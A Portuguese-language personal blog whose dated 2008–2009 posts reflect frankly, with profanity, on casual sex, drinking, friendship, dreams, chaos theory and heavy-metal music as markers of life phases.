Terça-feira, 30 de Junho de 2009

Boring people

De uns 6 meses para cá, foi impressionante como o mundo parece que de repente ficou boring. Não sei identificar o que causou essa transição ou este estalo, mas tudo começou a ficar chato.

Sair para encher a cara, torrar centenas de reais em poucas horas passou a ser algo altamente detrutivo para meu corpo e desnecessário. 1 dia de porra são 2 dias de ressaca.

O trabalho, repentinamente tornou-se repentino e chato.

Os amigos, se afastaram ( ou eu me afastei ) por achar quase tudo chato. Os papos cabeça se tornaram longas conversas sobre relacionamentos. Pessoas, uma em especial, se tornaram chatas e repetitivas. Assuntos repetitivos, atitudes repetitivas. Creio q a tal crise mundial mudou o hábito das pessoas de maneira indireta. Os serviços de entretenimento ficou mais pobre além de ter ficado extremamente caro. Logo eu que sempre fui um mão aberta, realmente comecei a me sentir um idiota pagando absurdos por coisas q não valem 25% do que cobram.

Não consigo mais sentar em um bar e pagar abusivos 20 reais em uma cerveja importada + 10% de serviço sendo q consigo no mercado por menos da metade do preço.

Não consigo mais encher a cara até cair, só por encher a cara.

Não consigo mais fazer algo que eu realmente não sinta vontade de fazer, somente por fzer média ou por manter algo.

O mundo é egoísta. Ninguém merece que você faça algo q influencie diretamente na sua vida.

Creio, masi do q nunca que devemos fazer tudo que podemos fazer em prol das pessoas, mas desde que isso não influencie em nada nas nossas vidas. Ninguém merece que abramos mão de algo nas nossas vidas. Nós devemos estar sempre em primeiro lugar, os outros sempre em segundo. É assim que o mundo é e é assim que devemos ser.

Terça-feira, 2 de Dezembro de 2008

Arrogante, eu ?

Durante uma dessas comuns brigas de casal, eu ouvi que sou um cara q acha q pode mudar omundo, q eu preciso perder a mania de achar q sou alguém diferente ou q posso fazer algo o tempo todo. Que passo um ar arrogante por ser tranquilo demais e por estar sempre dizendo 'relaxa'.

Faz tempo q ouvi isso, mas isso nunca saiu da minha cabeça.

Pois bem, meu último sem-relacionamento terminou antes de começar. Sempre soube que não iria dar certo. Incompatibiidade de personalidades. Até aí normal. O que tem de diferente desta vez ?

Creio que mais uma vez na minha vida, entrei na vida de uma pessoa em um momento chave. Não sei o q acontece. Não sei se as pessoas estão sempre mudando, tomando decisões cruciais e eu sou um cara realmente muito arrogante.

Não foi muito longe. A paixão logo se foi. Estou mais racional e sei pisar no freio quando algo claramente não vai dar certo. Mas outra vez, não consigo simplesmente virar as costas. Eu paro, penso, tenho sonhos. Imagino que ela possa estar precisando de mim. Entro em contato, e realmente algo não está bem. Como essa ligação se explica ?
Imersão ou arrogância ?

Sexta-feira, 14 de Novembro de 2008

Sim! As peças se encaixam! Eu sei disso! sempre soube!

Eu sei que as peças se encaixam pois eu as ví despencando
Sutis e queimando sem chama, difenrindo-se fundamentalmente,
Pura intenção justaposta porá duas almas amantes em movimento
Desmanchando-se enquanto passa, testanto nossa comunicação
A luz que abastecia nosso fogo e que depois queimou um buraco entre nós que
Não podemos ver o fim que está incapacitando nossa comunicação.

Eu sei que as peças se encaixam porque eu as vi se despedaçarem
Sem culpa, ninguém para culpar não significa que eu não queira
Apontar o dedo, culpar o outro, contemplar o templo tombando
Para trazer as peças de volta, reaver a comunicação.

A poesia que brota do jardim intermediário,
E do circulante que se lhe encaixa
Encontrando beleza no contraste

Houve um tempo em que as peças se encaixavam, mas eu as assisti despencarem
Sutis e queimando sem chama, estrangulada pela nossa vontade
Eu fiz as contas o bastante para saber dos perigos de uma segunda dedução
Destinados a quebrar a menos que cresçamos e fortaleçamos nossa comunicação

Silêncio frio tende a atrofiar qualquer senso de compaixão

Entre supostos amantes
Entre supostos irmãos

E eu sei que as peças se emcaixam

Quinta-feira, 2 de Outubro de 2008

O jogo do perde x perde

Que a vida é feita de escolhas, todos sabemos.
Mas a vida é um todo e na verdade devemos analisar o que vamos perder, nunca o que vamos ganhar.

Eu tenho uma certeza, uma escolha que eu fiz. As perdas assumindo um relacionamento são maiores que as perdas em ficar sozinho.

É bom ter alguém para acordar junto, alguém para abraçar durante a noite. Alguém para transar, e MUITO. E só.

O Convívio com os amigos diminui. A liberdade diminui. Aumentam as obrigações.

Meus amigos sim são o bem mais precioso que tenho. Minha vida deve andar em função disso.

Não nasci para fazer passeios a 2. Não nasci para fazer algo que eu não queira. Não é confortáve ceder.

Passeios a 2 são chatos demais. Sou um cara de grupo, de pessoas, no plural. Em contrapartida sou um cara da solidão, das noites na frente do computador, dos jogos intermináveis, das reflexões.

Pessoas demandam atenção, mas as pessoas não concordam em ceder.

Sozinho muitas vezes, solitário jamais.

É assim que sou feliz, e é assim que vou lutar para continuar.

Pq os amigos, a os amigos. Temos vários 'melhores amigos' durante a vida. São eles que nos apoiam, nos distraem. É com eles q não temos que sair quando não queremos. É com eles que podemos sumir e ficar um tempo isolados sem dar satisfação. É esse o relacionamento que nos preeche. É um namoro em sua forma ideal, faltando apenas uma coisinha, uma coisinha tão importante, uma coisinha de necessidade quase física, um vício, o sexo.

Há um ponto de equilíbrio ?

Talvez. O relacionemnto ideal é aquele em q você consegue manter os amigos, manter sua rotina, fazendo com que a pessoa mantenha a dela e juntando apenas aquelas partes que são complementares. Sou contra aqueles que dizem que para um relacionamento dar certo alguma das partes deve ceder.

Na minha opnião, para que isso ocorra as partes devem se complementar.

Esse relacionamento que as pessoas cobram, o protótipo da felicidade existe, sem a necessidade de ter uma pessoa do sexo oposto do seu lado, dormindo contigo todas as noites.

Mas o sexo, a o sexo. É o culpado de tudo.

Segunda-feira, 15 de Setembro de 2008

Recursividade

Venho sonhando todos os dias.
Muitos sonhos e sempre neles eu sonho que estou sonhando.

Mas essa noite foi diferente.

Eu sonhei que estava sonhando. Mas quando acordei, eu acordei dentro de outro sonho, estilo Waking Life!

WTF ???


Agora estou ouvindo Tool - Lateralus, depois de mto tempo.

Espirais. 10.000 spirals

Faz 2 anos desde minha experiência com as espirais, desde a mudança na minha vida, dede que eu me transformei na pessoa que sou hoje.

Coincidência ou não, mes de setembro. Estou trabalhando no mesmo cliente que eu trabalhava naquela época. Mesmo sistema, mesmas indagações. Fiquei exatos 2 anos sem ficar aqui por mais de um dia seguido. Não estou namorando como estava naquela época, às vesperas de completar 1 ano, mas há uma pessoa. Há alguém que está me fazendo levantar as mesmas indagações que eu levantava naquela época.

É isso o q eu quero ?

Estou preparado para dar o próximo passo ?

Há 2 anos, fazia 2 meses da briga, do rolo, do marco zero.

Eu tinha várias indagações a respeito do que eu queria e do que realmente me faz feliz.

Hoje, apesar de ter mudado bastante, continuo pensando nisso.

Viagens, mulheres, pessoas interessantes e outras nem tanto depois, acho q a dúvida ainda ocorre.

Como há 2 anos atrás, não tenho visto filmes, não tenho jogado no computador, não tenho ido frequentemente a encontros de nerds e ando sem cabeça para trabalhar, sem saco, sem vontade. Estou me distanciando da minha família.
Tudo, tudo, tudo igual há 2 anos atrás.

Tenho curtido mais meus amigos. Mais próximo. Muito mais próximo, como há 2 anos atrás.

Meu melhor amigo permace o mesmo.

Os outros mudaram um pouco.

Tenho uma nova amiga. Daquelas q sabemos q fará parte de nossas vidas para sempre.

Paixão, Tesão, essas coisas passam. Amigos também. Mas melhores amigos, amigos-irmãos, esses ficam para sempre.


Ainda não sei onde vai dar esse relacionamento, se é que vai existir um relacionamento. Mas uma coisa é certa, não sou ninguém sem os meus amigos. Eles é que tem muito a ver comigo. Mais que minha família.

Aquele ditado. Família não escolhemos. Amigos sim.

E nesse retorno ao início de um novo ciclo, são eles que terão prioridade.

Segunda-feira, 8 de Setembro de 2008

Bom dia pt. 2

Hum. Acabou o fim de semana. Ritual para acordar.

Um pulo da cama, uma banho rápido. Uma bermuda, um tênis confortável. Uma caminhada para esticar ?

Eu chamo o elevador, entro. Mas ao invés de descer, ele está subindo. Sei que estou próximo ao terraço do prédio, que eu nunca fui, nunca vi. O elevador trava, a porta se abre um pouco e estou longe da saída, mais de 1 metro. Uma mão se estica para me ajudar. Reconheço a mão. Ela é o término de um braço coberto por uma pele bem branca e delicada e com as veias aparentes. O perfume é familiar também. O braço me iça para fora do elevador.

Ao sair, vejo o terraço. A parte de cima do prédio agora é apenas um quadrado no meio de um gigantesco campo verde. Um misto do paraíso mítico com um campo de golf. Consigo ver algumas antenas de alguns poucos prédios cujo terraço termina no campo.

A minha companhia começa a conversar. Divagamos muito sobre Tyler Durden e seu clube da luta. A essa hora estamos de mãos dadas. Paramos um pouco o assunto e passamos a observar as pessoas, todas felizes curtindo a companhia umas das outras. Pareço estar no Paraíso. Me sinto leve, me sinto feliz. A caminhada para. Rola um beijo. Um beijo estranho. A sensação era de estar beijando minha mãe ou minha irmã. Sensação esquisita.


Eu comento sobre a sensação, ela replica. Pergunto se ela está sendo feliz no momento. Ela responde que eu sei que não. Pergunto o motivo de insistir nisso. Eu já sabia a resposta. O olhar dela já diz tudo. Eu acordo de repente. são 7 da manhã.

Saudades, muitas saudades!

Terça-feira, 12 de Agosto de 2008

Now I KNOW!

Bem, ao som de Helmet, um estalo na cabeça.

Sim, agora eu compreendo o que se passou comigo, o pq das mudanças, o pq me sinto diferente, olhando a vida com outros olhos.

Acredito q encerrei um ciclo na minha mente. Fazendo uma auto-análise, acho q um ciclo de 10 anos está se encerrando agora.

Sempre fui um péssimo aluno. Nunca fui um cara bonito, nunca tive grande sucesso com as mulheres até 5 anos atrás. Há mais ou menos 10 anos, pelo q me lembro, quando descobri o Linux e talz, gostei daquela coisa de ser nerd, ser inteligente. Como não tinha outros atributos que se sobressaíssem a um primeiro contato, tirando meu bom humor e minhas palhaçadas, resolvi mudar. Queria ser reconhecido como o cara inteligente, para sair de uma roda e ouvir as pessoas dizerem 'nossa, como ele é inteligente'.

Acho que isso foi um longo período de auto afirmação.
A todo momento, a procura por uma brecha para demonstrar a inteligência.

Um livro bacana, raciocínio rápido, conhecimentos técnicos.

Qualquer coisa servia para a auto-afirmação.

Mas acho q a certa de 1 ou 2 meses atrás, isso sumiu.

Não tento parecer o cara inteligente a qualquer custo. Quero q as pessoas me enxerguem como um cara leve, bem humorado, de bem com a vida. Adoro fazer as pessoas se sentirem bem, passar um bem estar. Não preciso ficar provando tem um QI acima da média ou algo parecido. Se me conhecerem melhor, verão meus outros lados. Verão meu lado mais nerd. Mas já saberão q sou um cara bacana, alto astral, capaz de deixar as pessoas p cima.

É mais fácil para o cara alto astral mostrar o cara inteligente e nerd q está debaixo do q o contrário.

As pessoas não se sentem a vontade com coisas que não conhecem e muito menos quando não se sentem inteligentes. Não estou dizendo que sou um crânio, nada disso. Digo que conhecimento é uma coisa tão vasta que é mais do normal haver assuntos aos quais não dominamos.

Eu mesmo ... várias vezes achei uma pessoachata por não conseguir entrar direito em seu mundo, em suas conversas.

Nossa

Apenas fazer as pessoas rirem é tão mais fácil, tão mais leve.

Ninguém precisa conhecer o nosso íntimo e nem temos que ficar mostrando-o logo de cara. Além de espantar as pessoas, faz mal para todos.


Bem, o eZ nerdão continua, o ez do papo cabeça continua e o filósofo também, mas estes terão companhia. A companhia do ez abauíca que está tomando a frente das situações e tem se saído muito bem!


Nossa!!!


COMO ME SINTO LEVE PORRA!!!!!!

leve como uma piada, um sorriso, um papo bem humorado!


e lembram da pessoínha que me deu feliz ano novo ???

ela se fez presente novamente agora, quando a borboleta saiu do casulo.

G.G. Amo vc !!!!

Sábado, 2 de Agosto de 2008

Como saber se a fase realmente é boa ?

Me sinto bem.

Me sinto muitíssimo bem, obrigado.

Como ter certeza disso ??

Bem, quando estamos bem, atraímos pessoas que nos fazem bem e nos distanciamos das pessoas que nos fazem mal. É inconsciente!!

Nossa, na verdade é impressionante!!

Estou em uma 'golden age' há algumas semanas.

De bem com a vida
De bem com a família
Com os amigos
E com bonus de +10 de carisma :)

Pessoas importantes na minha vida, que de alguma forma se distanciaram, reapareceram de maneira súbita!

Um telefonema sem motivo aparente, um email inesperado, um encontro na rua.

Nossa!!

Sem planejar estou no momento certo e na hora certa para conhecer alguém legal.

Para quem já jogou Civ, The Golden Age has started!!!


E advinhem ... advinhem o que eu tenho ouvido muuuuuito ???

ISIS!!!!!!!!!!!!!

mais claro q isso, impossível! :)

Segunda-feira, 21 de Julho de 2008

Acordado, eu ?

Sabadão ...

Aquele sono gostoso pós balada.

Eu estava sonhando. Acordei de repente.

Olhei para o relógio, 9 e pouco da manhã.

Olhei para a janela, o sol. Tudo claro. Levantei da cama, abri a janela.

Respirei fundo e fui ao banheiro. Uma lavada no rosto e caminho em direção a sala.

Sento no sofá, ligo o computador e começo a ler as notícias do dia.

De repente, eu acordo.

Olho para o relógio, olho para a janela.

E faço tudo igual, para só depois, com o computador nas mãos, lendo as notícias dizer 'CARALHO!'

Domingo, 6 de Julho de 2008

Go play basketball

Bem, essa noite tive um sonho ... sonhei que rompia totalmente com alguém que têm feito parte da minha vida num passado recentíssimo, e sonhei que alguém do meu passado reapareceria na minha vida, para retomar o tempo perdido com o hiato.

A pessoa recente eu sei exatamente quem é. A pessoa do passado que reapereceu, eu não me lembrava após o sonho.

Liguei para a pessoa recente, marcando algo. Não rolou.

Liguei para o amigo passado. Coisa que eu não fazia há muito tempo. Por um momento imaginei que o telefone tivesse mudado. O hiato foi grande, medido em anos e não apenas em meses.

Ele atendeu.

Go play basketball ??

Holy Shit!! I was thinking about it!!! I just said to my girlfriend "I want to play basketball with my old friend eZ. I will try to find and call him! I think he still living near to us."

putamerda!

Transmissão de pensamento ?

Foi ótimo, um grande dia, grata surpresa, companhia agradabilíssima!

A outra pessoa ?

Forget about it!


Sonhos malucos. Vida mais maluca ainda!

Meu cérebro é binário

Putz. Como é difícil encontrar um meio termo para as coisas...

Meu cérebro não está programado para isso. Ou é, ou não é.

Sábado, 5 de Julho de 2008

Ownership

Tudo ia bem.

Sexo sem compromisso, sem encheção de saco. O telefone não tocava. Rolavam apenas visitas onde o objetivo apenas era sexo. Isso era claro para os dois lados. Há mais de um ano, rola um sexo sem compromisso, em intervalos que variam de 20 dias a 3 meses. Nada mudou, até quem um dia. Rolou o sexo anal.

Isso é como um adesivo com seu nome escrito, DONO!

Depois que isso aconteceu, as coisas mudaram. Telefonemas durante o dia, emails, mensagens. Convites para cinema, jantar. Convites para compartilhar a vida social. Por quê ?

Por casa do sexo anal.

Liberei para você, agora você tem que fazer algo em troca.

Nunca fiz muita questão, mas no calor dos hormônios, acabou rolando.

Você me deve. Tem uma dívida comigo. Há um compromisso envolvido. Tudo por causa da porra do sexo anal.

O telefone toca todos os dias. Me recuso a atender. Puta que pariu, o que essa porra tem de diferente ?

Sem compromisso o caralho!!!

Ela estava lá. Apenas esperando uma deixa, para investir em algo mais contundente.

Porra, não me sinto a vontade para fazer nada mais que sexo e algum papos pré e pós sexo. O papo flui, mas é só aquilo. Isso somado ao sexo anal é o suficiente para dar o start em um relacionamento ???


Estou fora. Enquanto eu me mantiver sóbrio ( isso vai acontecer pelos próximos anos, espero ) as ligações não serão atendidas, os emails não serão respondidos.

Jantar, círculo social ? Filme cabeça ? Filosofar?

Para isso é necessária uma afinidade.

Sinto muito, mas com você a coisa não rola até esse ponto.

Parece papo de filho da puta. Mas não é.

Eu tenho em minha mente que apenas pessoas burras e idiotas ficam com alguém apenas para ter companhia ou pq o mundo exija que vc tenha alguém.

Como conversei com uma amiga dia desses, penso que amor está mais próximo de amizade do que sexo.

há mais amor em comprar uma briga de um amigo ou largar tudo para ajudá-lo que em uma noite de sexo.

Há mais amor em passar horas conversando com alguém, se preocupar com alguém e sentir saudades de alguém do que um boquete.

Amor não começa com sexo. Amor começa com amizade.

Sexo é apenas uma consequência.

E vou continuar pensando assim até que me provem o contrário.

Somos escravos de nossos hormônios, mas não confundam as bolas. Não confundam o que é gerado em nosso peito do que é gerado em nossos testículos.

O mundo cobra muito das mulheres. Eu entendo. Mulher que faz sexo sem compromisso é considerada vagaba. Mulher que já teve muitos homens, idem.

Mas eu admiro essas mulheres. São inteligentes, sabem o que querem e não misturam as coisas.

Quantas pessoas que conhecemos que fazem concessões absurdas apenas para ter alguém ??

Pra que manter um relacionamento sabendo que sentiremos falta dos 80% de nossas vidas que deixaremos para trás ??

Para que essa cobrança idiota ??

Por que tem que haver alguém que vai nos completar em tudo o que somos e que gostamos de fazer ???

Babaquice total!!!

Devo alguma coisa somente por causa de um cú ?

Devo mandar flores ?

Afe.

Nenhum relacionamento vai pra frente se o sexo for ruim. Mas qdo rola uma afinidade com alguém, uma liberdade e tudo mais, ele pode até ser ruim no começo, mas no decorrer do tempo ele pode ficar fantástico!!!

Nos moldamos, não somos algo estático, imutável.

Somos seres humanos, que aprendemos.

Acordem para a vida ??

Relacionamento só por ter alguém ?

Só para ter alguém para falar bom dia, conversar ao chegar do trabalho e compartilhar o dia a dia ??

Fala sério!!!

A Escravidão do Sexo

Somos todos escravos dos nossos hormônios.

Nós homens principalmentes.

Prometemos não fazer mais.

Eu prometi não beber mais.

Quebrei a promessa.

4 Cervejas, uma mulher olhando. Retrubuo o olhar. Rola um papo. Rola uma pequena sinergia. Insuficiente para virarmos amigos íntimos, suficiente para rolar um beijo. Balada cheia, um canto escuro. Vamos para o canto escuro. A coisa esquenta. O som de Isis não sai da minha cabeça. Isso é um sinal. Sinal de introspecção. Por isso estou aqui escrevendo.

A coisa fica quente. Eu moro sozinho. Destino: Minha casa:

A coisa esquenta mais. Rola um sexo. Sexo é sempre bom. Mas termina.

Ambos de pernas bambas, banho tomado. Quero ficar sozinho. Como conseguir, sem ser insensível ou um canalha filho da puta ? A desculpa de ter que acordar cedo rola. A mulher entende, vai pra casa.

O volume do som aumenta. Isis comendo solto, de madrugada, não tão alto, mas os vizinhos insones devem estar incomodados. Dei mais uma hoje, foi bom. Mas termina. Sobra o vazio.

Ela se foi. Ainda bem! Estou sozinho em casa, do jeito que eu gostaria de estar.

Mais uma vez quebrei uma promessa. Tomei cerveja. Fiquei legal. Transei. Meus hormônios são meus donos. Eles me fazem querer transar o máximo que eu conseguir. Mas isso tem um preço.

A história vai se repetir. O telefone vai tocar, eu não vou atender, não quero ninguém no meu pé. Vou ser taxado mais como mais um dos homens default do mundo, apesar de não ser. Apenas sucumbi aos meus hormônios, que somados com o álcool me fazem perder o controle.

Querer transar, o máximo que eu puder. É o que o mundo prega que um cara como eu deva fazer.

Homem, boa pinta, inteligente, simpático. Mora sozinho ? Coma o maior número de mulheres que conseguir.

Sexo é bom, mas termina.

Nunca me arrependi por transar com alguém, mas muitas vezes as coisas teriam sido diferentes se eu tivesse dito não. Como saber ? Queria ter uma máquina do tempo capaz de olhar meu universo paralelo. Como seria minha vida se eu tivesse resistido e não transado com pessoas que foram chave na minha vida ? Será que elas continuariam sendo pessoas chave ?

Sexo abala as amizades ? Sim, em 90% dos caso. Se vc transa com uma amiga, algum dos lados vai sofrer um upgrade de sentimentos. Algum dos lados vai mentir, dizer que é tudo bem, sem compromisso.

Mas não é verdade. Algum dos lados sempre mente.

Até quando serei um escravo do meu pênis ?

A promessa foi quebrada, mas há tempo para retomá-la.

Meus hormônios já me comandam o suficiente para eu adicionar o álcool nessa equação maluca.

Quarta-feira, 25 de Junho de 2008

Caos! Caos! Caos!

Teoria do Caos!!!!

Como eu adoro isso!!!!


Você acorda, toma uma pequena decisão

Se atrasa para o trabalho

Muda sua estratégia para o dia

Termina o trabalho

Sai em direção à sua casa

Muda de idéia

Vai resolver uns assuntos pendentes

Pensa em alguém

Sente que ela está pensando em vc

Não vai p casa

Vai para outra cidade

Resolve ficar uns dias

PUTA MERDA!

Pensa em outra pessoa

ela também aparece

O reencontro é ótimo

Mas há uma terceira pessoa

que também resolve reaparecer

Puta que pariu

3 dias depois

O mundo está virado de cabeça para baixo

e tudo por causa

DE UMA PORRA DE UM CAFÉ ATRASADO!!!!!!!

QUEM NÃO CRÊ EM TEORIA DO CAOS E EVENTOS CAÓTICOS QUE VÁ A MERDA

Lágrimas e Arrepios

O cara que criou esse vídeo é um gênio!!!!!!

Eu adoro blade runner e não é apenas por ser uma história do grande PKD. Adoro o ambiente dark o estilão do mundo caótico.

Mas putz, botar celtic frost p tocar ????


CELTIC FROST ????

PQ CARALHOS NÃO PENSEI NISSO ANTES ??????


FANTÁSSSSSSSSSSTICO!!!!

meus olhos lacrimejaram, e eu me arrepiei todo ...

god saves the youtube!


Arrependimento e Abdicação

Muitas vezes decidimos fazer algo, tomar decisões que em um primeiro momento, não percebemos o quanto temos que abdicar de coisas que gostamos.

É como quem troca de carro, e meses depois sente falta de tomar uma cerveja sempre que der na telha, fazer aquela viagem sem planejar ou comprar algum móvel novo na casa.

Ou tb em um relacionamento. Em prol de ter alguém que preenche um de nossos lados, não nos damos conta dos outros lados.

Em prol de alguém que pode prover segurança, pode-se perder a liberdade.

Em prol do sexo, perde-se o diálogo

Em prol da cumplicidade no seu hobby favorito, perde-se o sexo bom.

São apenas exemplos aleatórios, mas conforme ficamos mais velhos, apesar de fazer muitas cagadas, acho q o foco vai mudando. Ao invés de nos iludirmos com o que vamos ganhar, o fico vai para o que vamos perder.

No final das coisas, pensamos, "Vale a pena ?"

Acho que experiência é isso.

Não existe pior sentimento do que se arrepender de algo.

É horrível. A mente fica forrada de "se (if) "e isso jamais nos abandona.

E se eu não tivesse terminado com fulana ? Mas e se eu tivesse ficado com beltrana ?

E se eu não tivesse dito aquilo ?

Bem, vivendo e aprendendo.

Nada é para sempre, somente o arrependimento e a sensação de ter perdido coisas que vc jamais terá novamente. E não é papo de quem está com o coração partido, porque não estou.

Apenas pensamentos de cabeça fria e de maneira racional, pois se deixarmos para pensar nessas coisas qdo a coisa tá malz, bem, aí fudeu.

Merdas virão

Segunda-feira, 23 de Junho de 2008

Feliz Ano Novo

Quem é especial, simplesmente o é. Não precisa fazer nada para sê-lo.

Basta pensar no craque que simplesmente joga futebol, basquete, ou qualquer outro esporte.

Basta ver o cara que resolve rapidamente problemas complexos no trabalho.

O matemático que resolve equações com uma facilidade fantástica.

Um executivo que toma decisões rápidas na hora e o momento certo. Que fecha negócios fantásticos numa fração de segundo usando sua percepção.

Há pessoas que são especiais em nossas vidas, sem precisar fazer nada de diferente. Elas não precisam ter salvo nossas vidas de um navio afundando, de uma casa em chamas ou de um atropelamento. Elas apenas aparecem e às vezes com um punhado de palavras simples que soltas não teriam a menor grandiosiade, tomam proporções estratosféricas, quando ditas no momento em que precisamos ouvir.

Uma aparição repentina, sem qualquer motivo, uma sinergia que flui de uma maneira absurda. O papo que rola, a dor no peito que vai, o conforto que revigora, a lágrima que rola. O coração bate mais forte, e apenas com palavras, simplesmente palavras, que alguém especial diz no momento certo, na hora certa, dentro de um contexto que faz com que tenham o efeito de uma bomba, necessária para que todas as coisas ruins desapareçam e as coisas boas renasçam.

Só tenho a dizer OBRIGADO! MUITO OBRIGADO POR EXISTIR!!


A teoria do caos comprova sua existência. Coisas que lá atrás tlvz parecessem insignificantes, tornam-se verdadeiros cataclismas no futuro. Um pequeno ponto abre um círculo. Um circulo gigantesco se forma. Um longo tempo depois, após a junção de infinitos pontos de tamanho insignificante, o círculo se fecha novamente. Um novo ponto se desenha, e um novo círculo se forma.

FELIZ ANO NOVO!

Sexta-feira, 20 de Junho de 2008

O mito que cega

Quando nos apaixonamos, não o fazemos por uma pessoa. Nos apaixonamos por um mito.

Criamos um mito, uma carapaça ao redor de outra pessoa, que enconbre todos os seus defeitos, todas suas coisas ruins.

Nada que a outra pessoa faz é ruim o suficiente a ponto de vc deixar de gostar dela. Nada, por mais óbvio e claro que seja, é suficientemente claro e óbvio p vc. As coisas estão na sua cara, martelando o tempo todo e vc finge que não vê. Se convence de que o óbvio não é óbvio e que tudo de mais complexo pode estar acontecendo, por mais absurdo que possa parecer.

Vc para, pensa e imagina que o mito q vc criou é capaz de acompanhá-lo em todas as ocasiões, todos os lugares. Tudo que o mito faz parece ser perfeito, parece ser lindo e maravilhoso, parece mágico.

Mas, infelizmente a paixão é movida a pilha. E a pilha acaba. E quando acaba o estrago é grande...

Muito grande.

O mundo desaba em sua cabeça sem que vc saiba o motivo de estar sentindo o q sente no momento.

O mito toma o sentido inverso, como uma cruz invertida no pescoço de um BlackMetaller :)

O mito se torna um demônio, capaz de trazer tristeza, depressão e outros sentimentos ruins de maneira instantânea. O mundo perde a cor, a serotonina se vai e o que fica é o vazio. Vazio do óbvio, do que estava na cara o tempo todo e que vc não percebeu.

Os defeitos aparecem de forma quase apocalíptica, que parece revelar cada um dos defeitos em cada single move.

Por menor que seja, um piscar de olhos, um estalar de dedos revela cada um dos defeitos, cada coisa ruim que sempre esteve lá, mas que vc nunca percebeu, por ainda protegido sob a carapaça.

Paixão tem prazo de validade e a ressaca é grande, muito grande, como um whisky paraguaio.

Se há alguém que está se tornando um mito para vc, pense, pense muito bem antes.

Aprecie com moderação e pense, novamente pense muito antes de se submeter, pois deverá arcar com as consequências.

A frieza pode nos fazer um pouco solitários, mas nos protege da depressão, da desilusão e de inomináveis sentimentos ruins que só quem sente sabe o q é.

Terça-feira, 17 de Junho de 2008

Erros, novamente erros

É bom errar. Eu sempre digo que prefiro errar a acertar, pois errar ensina, nos torna forte.

Cometi um erro. Daqueles que não cometia há alguns anos. Mas dessa vez foi mais leve. Não foi tão profundo.

O prazer da realização, de um projeto, de uma marca alcançada, mesmo q seja errado.

Realizei um projeto, atingi uma marca, mas outra vez, não dei atenção para as consequências. Elas dão a cara, aparecem, nos fazem sofrer, trazem coisas a tona. Mas no final das contas, nos torna mais fortes.

Acho q no fundo um tapa na cara sempre se faz necessário para mudar as coisas. Como um bebê q precisa de um tapa na cara para perceber que está fora do útero. Aprender a respirar, se virar, encarar o mundo.

Quero errar mais, tomar mais tapas na cara. Isso mostra que estamos vivos. Nos faz chorar e perceber o mundo.

Dói, machuca, mas crescemos mais fortes.

Estou me fortalecendo, crescendo, me sentindo maior.

O mundo é gigante, cheio de pessoas, coisas diferentes, coisas novas prestes a acontecer, apenas esperando que prestemos atenção nos detalhes, nas coisas pequenas, que passam desapercebidas, nas pequenas decisões, teorica do caos.

3 palavras em um determinado momento, pode causar algo q muda sua vida para sempre. E isso está acontecendo. A metamorfose está acontecendo. O casulo está se rompendo. A ultima vez q isso ocorreu foi doloroso, machucou, mas me tornou forte, hibernou os demônios.

Dessa vez a dor é menor, mas a transformação não é menor.


A LIBERDADE ESTÁ À CAMINHO.
A TRANFORMAÇÃO ESTÁ SE DESENHANDO
A TEORIA DO CAOS MAIS UMA VEZ COMPROVA SUA VERACIDADE


como eu gosto das minhas fases ISIS!!!!


todas as vezes q estou curtindo Isis significa q minha vida está mudando, q reflexões estão havendo e coisas diferentes estão para chegar.

Our skin worn thin
Our bones exposed
Life reduced to ticks

From forest caves and azure skies
We crashed upon this earth
The years they passed and so did we
But, resistance would be brought

Sexta-feira, 13 de Junho de 2008

Quizena Death Metal

%REM

bem, foram mais de 2 semanas ouvindo diariamente os mais maravilhosos plays de Death da história, oriundos das 2 desgraças chamadas Deicide e Morbid Angel. Hoje, parece q a fase está terminando.

Coincidência ou não (Claro q não é), parece que uma fase introspectiva está se aproximando novamente. Essas duas semanas foram bem diferentes. Conheci alguém. Alguém legal, bacana e beeem diferente do resto das pessoas que estou acostumado a encontrar. Engraçado foi ouvir coisas que eu nunca tinha ouvido de outra pessoa.

Nunca disseram q sou gentil (eu não me acho uma pessoa gentil).

Já me disseram q eu sou do tipo p casar ( por mais q eu discorde ).

às vezes, por mais q nossa cabeça é convicta em algo, nossa expressão corporal diz outra. Qual é a pessoa que presta atenção na sua própria expressão corporal ?

A percepção, pelo menos para mim, é praticamente impossível. Até pq é involuntário. Sempre escutei demais minha mente, mas sempre prestei atenção demais ao meu corpo. Vou inverter os papéis e estudar a respeito. Caso chegue a alguma conclusão, posto um 'lifehack' :)


Essa expressão corporal q, segundo alguém, tem me entregado sem que eu perceba, é capaz de mostrar q há pessoas que entram em nossas vidas de um jeito ou de outro.

Espero q dessa vez não seja 'de outro'.

Não, não estou apaixonado, não estou namorando. É apenas uma reflexão.

Sou capaz de ficar filosofando com alguém até o sol raiar, desde q a pessoa tenha saco até q me mande calar a boca. CEB, ez!

Mas é engraçado.

Lembram aquela história dos ciclos ?



Então, eles sempre se repetem. O que muda são nossas atitudes com as situações. Elas devem mudar caso seja necessário e dessa vez, me sinto muito diferente.

Já sou capaz de prever onde algo pode ir e pisar no freio e o meu gosto musical tem me dito que é hora de refletir.

Senti uma vontade enorme de ouvir Isis. Post-rock e Post-metal ( odeio esses rótulos ) são ótimos para refletir. Músicas q parecem a ativam nosso lado reflexivo, diferentemetne do death metal, por exmplo, q nos passa uma sensação de querer agir, de atitude.

Nesse ciclo, mais coisas voltam à tona. Aquelas reflexões sobre trabalho e carreira, que cada vez que voltam, voltam mais forte.
Sem falsa modéstia, sou bom, muito bom no que faço, penso que por méritos meus, mas ter um mercado onde 80%,90% dos profissionais são péssimos, para não dizer sofríveis ajuda muito.
Mas não basta ser bom. Tem q ter tesão no que faz, motivação e ultimamente isso me anda faltando.
Acho que estou precisando ganhar na mega-sena, como todo mundo :)

Bem, e como não se bastasse tudo isso, mais uma coisa do círculo. Uma pessoa, das mais importantes EVER, reapareceu. Um email que por si só já me fez pensar.
Me encorajou a fazer um post e assumir de vez minha fase reflexiva.
Alias, essa pessoa foi a grande responsável por eu incorporar muitas coisas q já se desenhavam na minha vida. Dar forma a coisas q já estavam quase prontas, tirar projetos do papel e refletir sobre coisas que antes passavam desapercebidas.
Algumas foram incluídas na minha mente de forma direta. Outras indiretamente. Mas de qq maneira, mexeu comigo. São pequenas coisas q causam o maior estrago. Estrago no bom sentido, se é q existe um bom sentido p isso :)

Nesses últimos meses tenho sido muita ação e pouca reflexão. Gastado muito, curtido muito e não pensando mto no dia de amanhã ( minha conta bancária reflete mto bem isso, com alguns dígitos do lado de um sinal de menos, mesmo após p receber o pagamento do mês)

Dessa vez, acho q vou focar na revisão. Se as situações se repetem, as atitudes vão mudar e quero ver onde irei parar.

